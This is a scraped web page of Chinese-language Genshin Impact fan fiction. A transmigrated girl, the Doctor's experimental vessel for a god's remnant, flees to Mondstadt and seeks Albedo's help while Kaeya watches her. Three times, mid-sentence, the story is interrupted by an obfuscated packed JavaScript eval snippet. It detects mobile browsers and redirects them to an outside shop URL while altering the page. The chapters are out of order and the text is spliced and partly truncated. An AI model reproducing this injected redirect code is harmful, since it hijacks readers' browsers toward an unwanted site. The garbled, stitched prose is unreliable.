“还能思考……”他蹲下来抬起你的下巴,指腹摩挲着被深渊侵蚀的痕迹,“我才不管那疯子的目的——我倒想知道,穿越者,你的目的又是什么。” 又是这个称呼,假设他是从博士那边知道……以博士的手段,将你的身世弄清了多少? “……就我这个咸鱼能干什么?现在是死是活,您动动手指头就不用纠结了。”你实在没有力气去看他,只能尽力维持姿势。 “啧……”下巴传来的力道又加重几分,但都被侵蚀带来的疼痛掩盖过去了。他眉间有些阴沉,语气也愈发不耐烦,“回答我的问题——别跟我说那疯子洗了你的记忆!” 总感觉你听到一些不得了的信息,本来脑子就乱糟糟的,现在听到的内容让你更加捋不清了。如果他说的是真的,被洗去记忆重来,之前的你又干了什么让他如此的……记仇。 就你怂成狗的样子,根本不敢主动招惹这个时期的散兵吧……除非,那时候真的只能接触到他一个人? 但眼下最重要的不是去理清本就没有的回忆,最重要的是——你真的快要死了。 视野模糊,五感尽失,全身无力,只能凭着细微的感受来判断你此刻的现状,鼻血晕染在卷轴表面,笔尖划开一道痕迹,象征着战力增幅的概念环绕在散兵周身—— “多此一举。”他松开手起身后退一步,发颤的电流在周围明灭,那些增幅却紧紧跟随。 突然间的震动将水面激起无数波纹,耳边传来晶体碎裂的炸响,整个人被他拎起来撤到一边,迸发的雷光搅碎扩散的能量。 扭曲且怪异的低吼自晶体内部传出,你看到有什么漆黑的物体从里面伸出来,竭尽全力伸向高空——那边你们出发的高台,不知不觉间又靠过来几分。 “聒噪……” 散兵轻轻吐出这两个字,手心凝聚雷刀向前一划,那物体被雷光截断,触手化成雨滴轰然坠落——他握着雷光往边上一扯,无数的雷电劈头盖脸朝着晶体不断轰击,液体与碎块飞溅得到处都是,唯独没落到你身上。 “无趣的试探……”他低喃着什么,将最后一道攻击贯穿污染源核心,那漆黑在雷暴中消散,头顶的云层也逐渐稀薄。他看向快要失去意识的你,非常不爽地啧了一声。 引力结界抵达临界点悄然失效,重力恢复正常,脚边的水面激荡漂浮起来,与碎石晶块连同你们倒转着坠向高空—— 12. 「好久不见……虽然这句话用在咱们身上不太适合,毕竟从你降临至今,我才是陪你最长的那个。」 “每天晚上都要把我拉进这里……”你又一次睁开眼,混沌的空间只有面前的几行字异常刺眼。 「毕竟你这个人是真的不懂得开悟……算了,来复盘一下这段时间的收获吧~」字幕再次变换,光团变换成你的样子摊开一本书开始念叨,「这次你醒来的第31天,拼凑实验室地图进度46%,卷轴熟练度88%,人际关系……只有阿纳托利的信任值足足半颗星呢!」 “你这是在演系统类型的角色吗?”你托腮叹了口气。 「根据你的记忆里的小说,咱俩不是挺像的?」祂合上书飘过来趴在你身后。 怎么说呢,穿成博士的实验体,被告知你曾两次濒死记忆重置,已经在这里待了有一段时间了。 祂翻开其中一页特意指出来:「一次是博士刚把我放进你身体的那次,一次是他为了测试深渊侵蚀的耐受度,结果嘛……差点死掉了。」 你对祂的说辞也半信半疑,不过以博士的手段搞不好是真的,而目前最有效最快速的方法是——趁测试时能摸到卷轴的时候,直接大闹一场离去。 但随之而来又有一系列问题,这里有多大?需要释放多大的攻击才能一口气摧毁离开?会不会伤到无辜人员?自己能释放得出吗?要是失败了后面又得怎么应对? 你只是一个跑个八百米都能累成狗、仰卧起坐勉强及格、爬个楼梯都能颤着双腿气喘吁吁的大学生——那种逃脱方式不太可能实现。 或者和那个叫阿纳托利的监护人搞好关系说不定有一线生机? 清晨 “这是你今日的日程安排,确认一下。”银发少年推过来日程表,随后又推过来一杯热牛奶。 你端起杯子一边看表一边偷瞄他,他的制式面具倒映着你的一举一动。 “之前我是不是发生过什么事?”你凝视着日程表上测试的课题内容:Ⅱ级元素造物(水元素、纯水精灵),具现化(玻璃瓶、电气水晶)。 你不得不承认博士的测试对你来说简直是督促你快速掌握卷轴的用法,这段时间你倒是得心应手,就差直接绘出角色招式劈了这里。 “为什么这么问?”他切割肉肠的动作依旧不变,头也不抬继续进食。 “我只是想要知道自己的事情……既然你是我的监护人,应该有义务解答我的疑惑。”你放下杯子开始切割煎蛋中央那颗恰到好处的半熟流心蛋。 “……我很抱歉那次没能尽到自己的职责。”他抬起头望着你,明明双眼被面具遮挡,略微抿紧的唇线透出自发的歉意,“不会有下次了。” 看着他如此认真的模样你有些愣神,低头一口把煎蛋塞进嘴里,含糊不清的开口:“介然卢此……” “监护人先生,你的职责是保护我免受伤害的同时,并持续观察……如果我要做什么危险的事,你会阻止吗?” “原则上我无权干涉您的行动,需要视实际情况来确定。” “……所以你到底是哪个执行官派来的啊,一、三、四、五六、七、八、九、十、十一……有谁会对我这个容器感兴趣,甚至派人当监护人?”你快速将早餐消灭干净——说实话博士的机器人做饭还挺有水准的,还是免费的! “十一?目前只有十位执行官大人。”他疑惑歪头,默不作声把行程表收回去叠好。 哦哦……原来还没到时间啊,那就好,还以为要错过名场面了呢。 你故作镇定咽下口中的食物:“哦哦,原来只有十位啊,哈哈,记错了……” 13. “追加课题,画出一个元素造物的我,怎样?”青年切片结束报告上最后一笔,合上笔帽指了指他自己。 你后退半步摆手:“不是吧,那么多个你还不满足吗?而且跨等级太大了,画不出来。” “卷轴不行但祂可以啊……”博士站在原地,慢条斯理整理自己的着装,“你说是吧,丹特利安。” “丹特利安……怎么这么耳熟?”你转动手中的毛笔,默不作声把卷轴往身后藏,“喂……这是你的名字?按照套路肯定在激怒你,可别听他的话……” 「哼……光是靠这种小手段就想激怒的话,未免也太小看我了吧。」祂在意识海里抱臂,撇过头闭着眼。 与博士对视了几分钟,他便举起双手投降:“在你眼中确实是一种最简单的套路,用在你身上果然不适合,不过倒是有意外收获——丹特利安,你的反应比最开始镇定了许多,如今的模式已经不适合继续了。” 「快画,什么都好——」祂突然出声,你只感觉心口微微发热,浑身不自觉战栗,手中的笔和卷轴也开始泛着微光—— “喂喂喂……突然间让我做什么——” “滋——” 大概是人体的保护机制开始运作,短暂的大脑空白之后,就开始感到浑身那里都在痛!上一秒还在正常聊天,下一秒你就躺在地上不受控制地抽搐,十指拼命扣着颈间的拘束器。 你下意识寻找那墨色的身影——没有,没有,没有……但隐约看到观察区的人影在骚乱。 “你一直在顾虑什么,记忆重置了性格依旧不变——对了,准备点这些,然后……”博士背过身一边对下属吩咐着什么,一边还抽空和你说话,“是时候改变一些流程了,之前的数据足够了,我需要新的。” 「呵呵……」祂将险些晕厥的你拉进意识海中,握紧你的双手安抚道,「我知道你在担忧,但这次,请相信我,你我的目的是一致的——干翻这帮畜生。」 之后的事情呢?你有些记不清了,祂将你层层包裹在意识海深处,自己暂时接替了你的身躯。 去做了什么呢?你也无从得知,在被拉进去的那一瞬,混乱中你仿佛感觉到周围被什么湮灭,想要去更进一步探寻时,突然被谁切断了所有感官联系,眼前的景象宛如熄灭屏幕时重归寂静。 结果呢? 一滴冰凉化在额头,眼前是虚幻朦胧的白,视线随着飘落的雪花聚焦,你终于看清楚面前的模样——一半是惨白的天空,一半是迷幻的粉色,周围是残垣断壁以及染红的雪地。 陌生却又熟悉的气息笼罩过来,你看到到那银发少年抱着你颤抖的模样——几乎整个人沐浴了鲜血那般狼狈,面具不见踪影,失去高光的瞳孔倒映你虚弱的面庞。 “别哭啊……”你听见了自己沙哑的声音。 14. 这次是你醒来后的第380天,幸运的是被愚人众捡回来,不幸的是,你成博士的实验体——魔神残渣的容器。 最近偶尔会梦到一些逼真场景——成为实验的小白鼠、漆黑在吞噬自己、看到自己仿佛变了个人在暴揍博士……? 你承认对第二席有着复杂的看法,但不妨碍你想揍他。那些梦转瞬即逝,醒来就没法回忆更多的细节,只剩暴打过后的快感。 是当初植入魔神残渣后失控了吗?还是说,之前发生过什么导致你失忆了? 看着对面还不到你自己肩膀的的少年切片递过来的抑制剂,准备接过时却被另一个人截胡了——那个突然成为你搭档的火铳游击兵。 “……总之记得按时体检,走了。”少年切片依旧没有别的表情,做完他的工作后转头就离开了。 “你说……我们之前是不是认识?”你目送那少年切片离开的背影,摸了摸别在腰间的卷轴,“如果真的是魔神残渣……那不应该是有后遗症?还有这个能绘出元素造物的东西……难不成我是天选之子?” 阿纳托利直接把抑制剂塞回你手里,转过身压低帽檐:“走了。” “桥豆麻袋,你还没回答我的问题——要么说说之前发生过什么,要么说出究竟是谁派你来的!”你快步跟上去盯着他的面具,对方却加快了脚步。 “和博士大人说的一样,就是……比较自由的实验体,还得定期服用抑制剂防止残渣的苏醒。” “喂……这设定我已经知道啦。” “还只能在至冬境内活动。” “Nonono……还是别提这个了,博士这家伙就是在压榨员工,得找个机会跳槽!” “……祝你成功。” “嗯?真要是那样做你不会阻拦?” “我并没有那个权利。” “你那边的待遇怎样?” “……呵,先想想怎么脱离抑制剂的情况下跳槽吧。” 2. 第01章 偷渡事宜 “我听说最近这边偷渡得有些严重,不知两位是否有见到……一些可疑人员?”转角处慢悠悠走出一个身影,那漫不经心的腔调,不用猜就知道是凯亚。 明明是大白天,那太阳正在头顶,建筑投下的阴影却让人觉得凉飕飕的,你不禁搓了搓双臂。 长话短说,你穿越进提瓦特的至冬,成了愚人众「博士」的实验体之一,在经历一系列复杂的事件之后,最后一次任务里被「散兵」一把扔进可疑的结界里触发传送,离开了至冬腹地。 在你精神力透支与搭档重伤的情况下传到边陲小镇,被游历至此的迪卢克救了,在彼此的合作下,你来到了蒙德的荆夫港。 当初迪卢克将你送到蒙德的方式是——偷渡。 “抱歉,我们没见过什么可疑之人。”身旁的白发青年不动声色往前迈了一步,刚好挡住对方的视线——哦,能够顺利来到这里还得多谢这位“搭档”——阿纳托利。 这人在你苏醒没多久便出现了,自称是你的搭档,刚开始你还以为是系统发的新手指引,或者是身穿了。 现在想来应该是哪个执行官派过来的监视,毕竟以你身上叠的buff有点多——身负魔神残渣居然没死,能绘制元素造物的卷轴,异世之人,有人关注理所当然。 不过,他从未做出任何令你不适的举动,反而处处照顾你……口牙!你是不会屈服这陷阱的! 说到现在…… “这样啊……”凯亚站定在你们三米之外,表情看起来非常苦恼,“那你们有见过大概这么高,头上长羽毛的女孩?” 你看着他的比划,下意识摸了摸头上的渔夫帽——还好还好,戴着呢。 “没见过。”还是那没什么情绪起伏的声音,在你身旁响起。 听到这话凯亚直接叹口气,摆了摆手:“唉,那真是可惜~抱歉打扰到两位,不过在临走之前还请出示一下身份证件,例、行、检、查……” 凯亚说后面那四个字时特意放慢了语速,你感觉他应该是知道什么,故意这样说的——是的,你们没有。 至于为什么没有……大概是上次「散兵」突然发难把你丢进结界里,你们的行李被遗忘在不远处…… 今天这事估计没完,既然凯亚知道你的特征……你摸出当初迪卢克写给阿贝多的信递过去:“这个可以证明我们的身份吧?” 凯亚接过信低头查看,指腹摩挲着上面火漆凹凸不平的表面——莱艮芬德家的标志。 你也不知道他会不会放过你们,信是真的,你们也没恶意——你只是想来这里抱旅行者大腿的,能有什么坏心思呢。 “原来如此。”那一只带着笑意的灰蓝色眼睛看向你们,他把信还了回来,“我是西风骑士团的凯亚,听闻兄长受到你们的帮助,为此将阿贝多介绍给你们作为回报……” 你在内心点点头,对对,放你们走吧,别深究了,你只是找阿贝多还原抑制剂而已。 “那麻烦跟我们走一趟吧。” 不兑!这听起来怎么像是要把你们抓起来一样?! “该走的流程还是要走的。”他又补充了一句。 “不是……这流程是非走不可吗?”你忍不住吐槽。 “只是登记一下信息而已——”凯亚拉长了声调,像是发现什么有趣的东西,目不转睛打量你们,嘴角的笑意未曾褪去,“不会连这个都不行吧?” 荆夫港离蒙德城有相当一段距离,所以你们只是去这里的一个骑士团分点。路上凯亚的话有些多,问你们第一次来?来旅游?和阿贝多先生是有学术研讨吗……之类的。 这个人,只能远观不可接触,会不知不觉被他忽悠,把自己的底牌都掏出来了。 你决定发动「真诚就是必杀技——且只说一半」,没错,你们从至冬来到此处旅游,决定待上一段时间;没错,是来找阿贝多先生的。 更具体的随他自己想象了。 …… 登记了一些基本信息后就是行李检查,你们那点物资自然没什么问题。 凯亚托着下巴,盯着你展开的空白卷轴,伸手摸了摸表面……有微弱的元素力残留呢,不过这也说明不了什么,冒险家身上的比这还多。 他记得迪卢克写给他的信里,也有提到过这个,需要多留意点。 “南柯小姐,这是什么?为什么是空白的?”他转头笑盈盈看着你,别人携带的奇怪玩意他也见多了,但不知为何,他有种直觉——这个东西是真的不简单。 “这是我的妙妙小工具……”你早就想好解释了,但又觉得不妥,又补充了一句,“咳,我是说,这是画家的饭碗。” 妙妙小工具…… 不远处 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17088056|195400||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的阿纳托利握拳抵在口鼻边,随后别过脸看向别处——替人尴尬的毛病又犯了。 “哈哈哈……”凯亚被逗乐了,头顶的呆毛笑得一晃一晃的,“真是有趣的说法……” “这么说来,小姐你还是一位画家了……”他将卷轴卷好递给你,随后做了个“请”的手势,“那么,两位,欢迎来到蒙德,祝你们玩得开心。” …… 他并没有特别为难你们,你们俩走出建筑漫步在荆夫港的主街道上,你望着港口熟悉的风景,有些恍惚…… “你……之后打算怎么做?”阿纳托利那淡淡的声音从身侧传来,带着一丝迟疑。 “当然是……”和老婆贴贴。你猛地止住即将溢出的话语,打了个转,“在这里攒摩拉,然后去旅行——总之不会再回去当小白鼠。” 回去是不可能回去的,在找到真正存活下去的办法之前,还是不要靠近至冬为妙,虽说你并没有什么特别伟大抱负的理想,就一条咸鱼平躺。 但你也不想继续留在「博士」那边被消耗——你又怎么不知道,他会不会对你另有所图,毕竟醒来时,就已经在研究所里了,体内还有魔神残渣的人性意识碎片…… 还有这位自称你“搭档”的人,这一切都太不正常了。 “明白了。” “你明白了什么?”你下意识反问。 “我会继续执行我的任务……保护你的安全。”他的声音带着些许无奈。 转过头,映入眼帘的先是那一头柔软的银白色短发,随后是棱角分明的侧脸,如此完美标致的面庞被面具覆盖了上半张脸。 面具靠近底部贯穿着一条红色的灯带条,像是会呼吸那样缓慢明灭——你感觉这个覆面系npc有些过分的好看了。 “我有点好奇,我这样离开至冬,离开愚人众,你的上司不作要求吗?”你突然冒出来这么一句,收回视线专心走路,望着两边人来人往的街景,随后又抬起头——傍晚的云霞稀稀拉拉涂抹在天边,慕色逐渐蔓延,偶尔有一两只海鸟快速掠过。 “目前没有,所以请不用有太多顾虑。” “居然这么提醒,你人还怪好的嘞。” “……” 感受着海风吹拂在脸颊的丝丝凉意,你的身心前所未有放松了。 “事已至此,先吃饭吧!” 3. 第02章 药剂的委托 阳光透过玻璃窗轻柔的洒进炼金工坊内,金色的光晕在各种道具素材之间流转。 阿贝多坐在试验台前,举着手中的药剂端详着,淡蓝色的液体反射着微光点亮了他的眼眸,浅金色的头发发在这阳光下显得更为蓬松柔软,像一只金渐层。 “……也就是说,你不远万里从至冬来到蒙德,就是为了让我还原这份抑制剂,并制作出来。”他看向你时眼底包含些许笑意,“我能听听选择我的理由吗?” 啊,老婆好美,他在笑着耶……不对不对!你回过神认真说道:“因为我相信阿贝多。” 他可是老婆啊!你当然信他不会对有困难的人视而不见,当然,你还是有些忐忑的,要是他真的不应下你的请求,怎么办? “呵,相信么……” 他低头又继续看着那封迪卢克写给他的信,以及手里的药剂,沉吟着:“……你的情况他大致讲了一下,但我觉得还是得从你口中得知才行——现在你体内的魔神残渣有对你造成什么不适感吗?” 终于要说到正题了吗?这代表着他接受你的请求了?! 你摇摇头:“老实说目前并没有什么感觉,就是会梦到那个人……” 怎么说呢……总之就是体内的魔神残渣在长久的相处里诞生了意识,最近祂还偶尔会和你脑内聊天,这种奇妙的体验你说不上来,就像是幻想朋友那样,单纯和你聊天。 “意识?幻想朋友?”他皱了皱眉,“这可真是不妙啊,连意识都诞生出来了……” “但除了这个,确实没有别的异常……哦对了,由于出来的行程过于匆忙,你手里的这份已经是最后两支了……”你最终把这最不妙的事告诉了他——你已经很久没有服用抑制剂了,最近梦到那人的频率有些高。 你记得那些梦的场景,基本大差不差——漆黑,深邃,无垠……像是没有星星的宇宙,而那个人,或者意识。祂与你几近相同的样貌,由红黑色的数据方块拼接而成,唯独脸部是被马赛克糊住了。 “事不宜迟,得先去解析这份药剂的成分。”阿贝多两手撑着桌面,缓缓起身,“你随我来。” “你……同意接下我的委托了?”你也“嚯”地跟着站起身来,紧紧盯着他的动作。 他没有回头,只是自顾自带着你走去工坊的一角,手上的动作不带停的开始摆弄仪器:“对,就算你体内的魔神残渣没有你说的那么严重,但无论是为你,还是为了蒙德的安危,我都不能放任不管。” …… 老实说,你为了找到阿贝多花了不少的时间,就算你熟知这里的每个角落,你也没法精准把握每个人的动向——从刚开始居住在这里,中途打听这位天才的消息,再到他现身于蒙德城的时候,大概花了一个月这样。 不过这不重要,重要的是抑制剂能否顺利制作出来,不然后面找旅行者的事就无从谈起。 “……有些材料在市面上并不常见,要还原出来需要点时间——你大概多久服用它一次?”他坐在那里记录着你看不懂的材料名称。 “两周一次……一次一瓶。” 他停下笔,抬头看向你的脸,停留片刻后,视线又挪在你头顶的两簇羽毛,继续问道:“那你最近一次服用是在什么时候?” “一个月之前……” 你捂脸,已经不知道该说什么了,只能老实回答。 如你预想那般,阿贝多扶着额头长叹一声,随后站起身面向一旁的柜子翻找起来,指尖掠过那些标签,若有所思:“魔神残渣……我对这方面的研究曾经也略有涉及,像你这么久还能活着的人,还这么……没什么事的样子,确实很罕见。” “大概是祂还不想取代我……这样?”你想起那家伙的态度,有些奇怪,虽说每次梦到祂总会收获一堆谜语,但你感受不到恶意。 他拿着几个瓶瓶罐罐回到台面开始配制起来,神情淡漠:“不想取代?看来那个意识还保留着理智——当然,也保不准你已经被替代了,正用你的性格来和我说话。” 什么意思?他怀疑你早就被取代了?!这不可能!那样做的话你俩恐怕挂得更快! “哈?阿贝多老师你要相信我,我还是我!”你有些着急在他身后打转,但又无法证明自己的话是对的。 他注视着滴管中流淌下来的药剂没入下方烧杯中,原本透明的液体被染上一抹青色,逐渐扩散。他的嘴角勾起若有若无的弧度,有条不紊一边进行实验,一边继续和你交流:“开玩笑的,倘若你早就被替代,恐怕也不会选择找我还原抑制剂。” 这个玩笑有点地狱了……你不敢想象未来如果真的有那一天,你不再是你,而是祂——你不敢保证祂会做出什么事来。 工坊内只剩下仪器运作都声响,以及挂钟咔哒咔哒有规律的动静,偶尔有笔尖在纸上划过的沙沙声,除此之外安静得只剩下外面街道细微的嘈杂声。 「你真要是这样想,我会很伤心的……」 猝不及防,那个戏谑的声音又突然在你脑子里回荡,无比清晰,就像附在你耳畔低低说着——你不自觉打了个激灵。 像是察觉到什么似的,阿贝多不动声色瞥了你一眼,见你安静地坐在一边,头顶的翎羽却微微竖了起来,又落下去…… 有点好奇那是什么构造……他收回目光,将思绪压回心底,将最后的成分混入进去,封装进一个药剂瓶里,随后起身走到你面前递过去:“这是根据刚才解析出来的成分做了一份临时的,用来应付这段……空白时期。” “可能只有安神助眠,静息凝神的功效,你不是说会梦到那个意识吗,希望能够帮到你,暂时不受影响。”他微微低头打量翎羽的样貌,眯了眯眼。 你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17088057|195400||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 抬头望向他,总觉得他的目光在看什么……素材,你接过他手里的瓶子开口:“谢谢,阿贝多老师……接下来我还需要做点什么吗?” 闻言,他看了看挂钟,又从一旁取了个本子,拉了张椅子直接坐在你对面,这架势颇有审问的意味:“确实有几个问题想弄明白,如果能回答得上的话,说不定能加快还原抑制剂的工程。” …… 阿贝多问了很多,诸如什么时候被注射的,是谁主导的实验,那个意识究竟是怎样的,翎羽是天生的吗,还有,是真的没有影响吗……? “不清楚,醒来就在体内了……大概是「博士」植入的……”你托着下巴抬头东看看西看看,最后如实道来,“真要说影响的话,也不是没有,祂此刻在我脑子里说话呢。” 除了一些没必要说出来的,你都一一回答了,你看着他一脸凝重盯着本子上的记录,暗自吞了吞口水。 最终,他只是垂下眼睑,轻轻呼出一口气:“……可以了,你先回去吧,之后有进展会通知你。” 你也不再逗留,退出工坊后舒了口气——看来进展比较顺利,剩下的就是等待了,先去猎鹿人那边觅食再回住所……哦,那边那个蓝色的孔雀是谁…… 等等,为什么这么巧会看到凯亚在猎鹿人那边,你低头专注脚边……看不见你,看不见你…… 不是不想见老婆,而是你没法应对像他这种人,你在心里这么说服自己,混在人群里排队点单,完事准备默默离开时,面前却突然出现一道蓝色的影子。 你往旁边一挪避开,对方却选择了相同的位置恰好挡住你的去路,你又向另一边迈去,结果他又选了相同的位置…… 你们俩一左一右挪着,始终巧合挡住对方去路,总觉得他是故意的,猛地抬起头:“您有事吗?” 凯亚看你终于忍不住说话了,忍住笑意举起双手:“抱歉抱歉……看来最近文件批多了,脚不听使唤。” 批文件和脚有关系吗? “那你要注意休息啊……”你往旁边一退,心里只想着快点回去干饭,“我还有事,得回去了。” “感谢关心。”他礼貌侧身让开了,还笑眯眯挥了挥手道别,“下次见~” 凯亚望着你离去的背影,笑意逐渐冷却,最终转身往骑士团的方向走去——他在这段时间抽空关注了一下,确实没什么异常的举动,就像普通的游客那样到处逛逛,找了份零工,或者去冒险家协会接委托,然后像之前说的那样,和阿贝多有了交集。 倒是你身旁的那个白发面具男,最近并没有和你一起行动,每次都甩开了他安排的眼线,很警惕呢。 都怪迪卢克在信里说得含糊不清,只提了受到你们的帮助,进程才更加顺利。又说你身上的卷轴很特殊,需要留意,但有很多地方都没说清楚……这故意增加他工作量的吧。 4. 第03章 被看中的人 自从来到蒙德城之后,除了打工搞钱,还有一件事——摸传送锚点。 尽管你还摸索不出具体使用方法,但摸了一遍之后,卷轴就自动记录了周围地图,以后再也不用买地图了。 这是之前无意中发现的功能,除了绘制元素造物,还可以探查周围的情况和记录地图……你直接把它当自定义系统来使用,虽然它并不会发放奖励…… 「你要是想,我也不是不可以给你发放奖励。」 又来了,只要有空没空,祂都会直接跟你聊天,要不是祂是由魔神残渣里诞生的意识,你可能真的会把祂当做系统。 「挺像的,不是吗?」祂顺着你的想法回答,随后顿了顿,「真的不管他吗?已经观察了好多天了。」 得益于祂超绝感知力,你早就从祂那里知道凯亚时不时会遇到你,然后开始在不远处观察起来,也没有要上前搭话的意思。 怕什么?!你又不是来干坏事的,又没有试图爬上风神像,也没有摘人家阳台的慕风蘑菇,更没有不小心吓飞提米的鸽子…… 就是一旦知道有人在观察你,还是有些不自在。 「不过还是早点跟他交流为妙,他对你很感兴趣呢。」祂说完这句话后又沉寂起来。 你当然想和老婆多多交流啊,但目前你们又是什么关系?要是被他察觉出你体内这玩意……会被误会的吧。 至于卷轴,你自己都没搞明白,要怎么解释? 你站在风神广场上的一角,视线从骑士团总部的屋顶挪开——你,上不去。于是开始思考着接下来应该去摸哪个传送锚点,顺便看看有什么简单的委托。 “好巧啊,南柯小姐~”熟悉的声音冷不丁从一旁传来,带着无比自然,恰到好处的笑意,“最近过得怎么样?” 按理来说你们才第三次见面,你抬起头看过去,摆出自然的表情:“还好……凯亚,确实好久不见。” 才过了几天而已。 “那就好,你这是在做什么?”他注意到你手中的画板,凑过来想要看清楚里面的画。 你下意识倾斜板子不让他看见:“没什么,只是在写生而已。” 为了能更顺利使用卷轴,或者与生俱来的兴趣,你偶尔也会在外面写生,你还打算好了,找个机会向阿贝多老师请教! “写生啊,我可以看看吗?”他依旧不依不饶,十分感兴趣的样子。 也没什么大不了的,就是有些不好意思将自己的米田共给别人看,但你还是翻开展示给他——是一幅速写,记录了面前巨大的风神像。 “很好看呢。”他接过画板看了几眼,又对着风神像对比,乍一看下去似乎和阿贝多的水平相当,颇具神韵。 但同时又有哪里不太相像。 是什么呢?他这个非专业人士暂时看不出来,于是随手将画板还给你,随意开启话题:“莫非被风神吸引成了信徒?” “对,我是风神巴巴托斯大人的狗……”你丝毫不觉得自己的发言有什么问题,还说得义正言辞的。 然后是短暂的沉默…… “噗——哈哈哈哈……”凯亚终于憋不住笑出了声,险些岔气,“这什么啊——” 这话要是被虔诚的风神信徒听到,特别是葛瑞丝女士,肯定会把你拉过去教育个三天三夜,让你从良。 “有什么问题吗?”你将画板抱在怀里,看他笑得直不起腰,不明所以。 “不不不……没什么,得亏附近没有教会的人,不然有得唠叨了……”他乐了好久才缓过神,故作镇定清了清嗓子,“好了,不说这个了。” 凯亚的视线落在你的翎羽一瞬,将探究的神情收敛回去:“对了,你的那位朋友呢?没和你一起吗?” “我的朋友?阿纳托利?你说他啊……”你稍微回忆了一下,最近确实很少见到那个人了,虽说你脱离了愚人众,但他没有……应该没干什么坏事吧…… 你只好继续敷衍道:“不清楚,他也有自己的事,大概是去哪里玩了吧。” “这样啊,还以为你们会形影不离呢。”他略有遗憾似地摇摇头,随后望向下面蒙德城的景色,语气稍微正经了点,“南柯小姐。” “嗯?” “在蒙德城若是遇到什么难题,你大可以到骑士团找我,毕竟作为莱艮芬德家的贵客,作为一份子的我,有必要为客人排忧解难——更何况你还是兄长看中的人。” 带着几分真诚与客套话,凯亚的眼眸里难得透露出些许认真,他向你伸出右手——你的大脑宕机了,这是哪一出?不道啊,剧情没写啊? 看着他骨节分明的修长手指,你的爪子蠢蠢欲动,啪的一下搭了上去——看向他的时候还有些懵懵地眨着眼。 什么叫莱艮芬德家的贵客?什么叫被迪卢克看中的人?你怎么不清楚? 他倒是很自然和你握手:“那么,以后请多指教。” ┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄ 你不想去思考这么多,在那之前只需要好好生活着,顺便看看能不能和老婆贴贴——你如此期待着。 大概是与凯亚相遇的那次后,你总会时不时在街角碰到他,怎么看都像是他刻意等在那里的——不对!他肯定在怀疑你体内的魔神残渣,准备套话呢! 于是你接了需要出城的采集委托,以此来躲避偶遇——你抬头仰望面前的七天神像,试探性伸出手触碰,感受掌心底下粗糙的岩石纹理。 澄澈的天空晕染了淡淡的昏黄,云霞像是被谁随意遗忘在角落,随着风舒展又聚拢。耳边只有风拂过树叶与草地的沙沙声,以及晶蝶飞舞时bulingbuling的动静——无事发生。 到底在期待什么…… 你叹口气收回手,回到一边继续清点刚刚采集的嘟嘟莲和风车菊,保证其根系完整和新鲜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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特、特别吗?你听了他的话有些飘飘然,连忙定了定心神,将画还给他,故作镇定询问:“那……今天是有什么事吗?” “嗯……”他接过画随手放在一旁,又去一边的柜子里取出一套干净的采血设备,放轻了声音,“我需要提取你的一些血液,用于之后的研究。” 你配合他坐在位子上看着他操作起来。 就像往常的抽血流程一样,消毒、扎静脉带、穿刺采血、止血……他熟练操作着,整套动作快速轻柔。他将那一管血液放入冒着冷气的器皿中,又转头面对你开口:“好了,不会对你有什么影响的——这几天你有感觉到什么异常吗?” 你摇头:“你给的临时药剂其实很好,睡得很舒服,就是……祂的声音依旧会响起。” “这样啊……你说那个意识依旧保持理智,或许……”他垂眸不知在想着什么,随后抬起头定定看向你的眼睛,“我需要观察你和它相处的过程。” “过程……但我和祂都是在脑子里想想就好了,这你要怎么观察?” “呵……或许我可以进入你的意识海里直接与它交流。” 5. 第04章 是朋友呀 意识海,即为精神世界,是个人的记忆与灵魂所承载的领域。 每次见到祂都是那莫名的空间里,你也得知了祂大部分的情况,更多时候你们只是在整理过往的记忆,顺带回忆了一番剧情。 但是!你听到了什么?阿贝多老师说要进入你的意识海直接和祂对话?你当然不怀疑他的能力,就是,安全吗? “放心,只是聊聊天,不会做出什么事的。”阿贝多看你欲言又止的模样,也猜到在顾虑什么。 “不不……我倒是没意见,就是我无法保证祂会做什么……” 祂在听吧?祂为什么没有说话? 脑海中没有预想的声音,你的心也不由自主提了起来,以往无论发生什么,祂总会吐槽一顿,这回是怎么了? “你……”他那蓝绿色的眼睛,像湖水那样澄澈清明,“相信我吗?” 信!怎么可能不信,老婆的能力自然不用怀疑! “当然信!”你毫不犹豫的。 “好。”他站起身看向你,不知为何,你感觉他似乎在笑,“那和我去准备一下吧。” 原来工坊里的功能这么齐全的吗?怎么还有专门的休息室?你站在一个经典的蒙德居民特色的房间里,周围的布置虽然简单,就两张沙发,几个椅子,几张桌子柜子,还有绿植作为陪衬,但这里明显比外面安静了一个度。 他点燃了一个香薰,并不刺鼻,反而非常舒适,似乎很适合助眠呢。他放下手中的东西,指了指沙发,说道:“坐下来吧,我会用炼金术,将我们的意识海暂时链接起来。” 然后他走过来坐在你旁边,向你伸手,放柔了声音:“不过,为了稳定链接的牢固避免中断,请牵着我的手。” 你眨眨眼,看着他的手掌,微微停顿,但还是握上去了:“一定要握手吗?” “嗯,就当是治疗的一环。”他收紧五指,往后一靠,将重心交给沙发,随后闭眼,“放松,试着进入睡眠状态吧……” 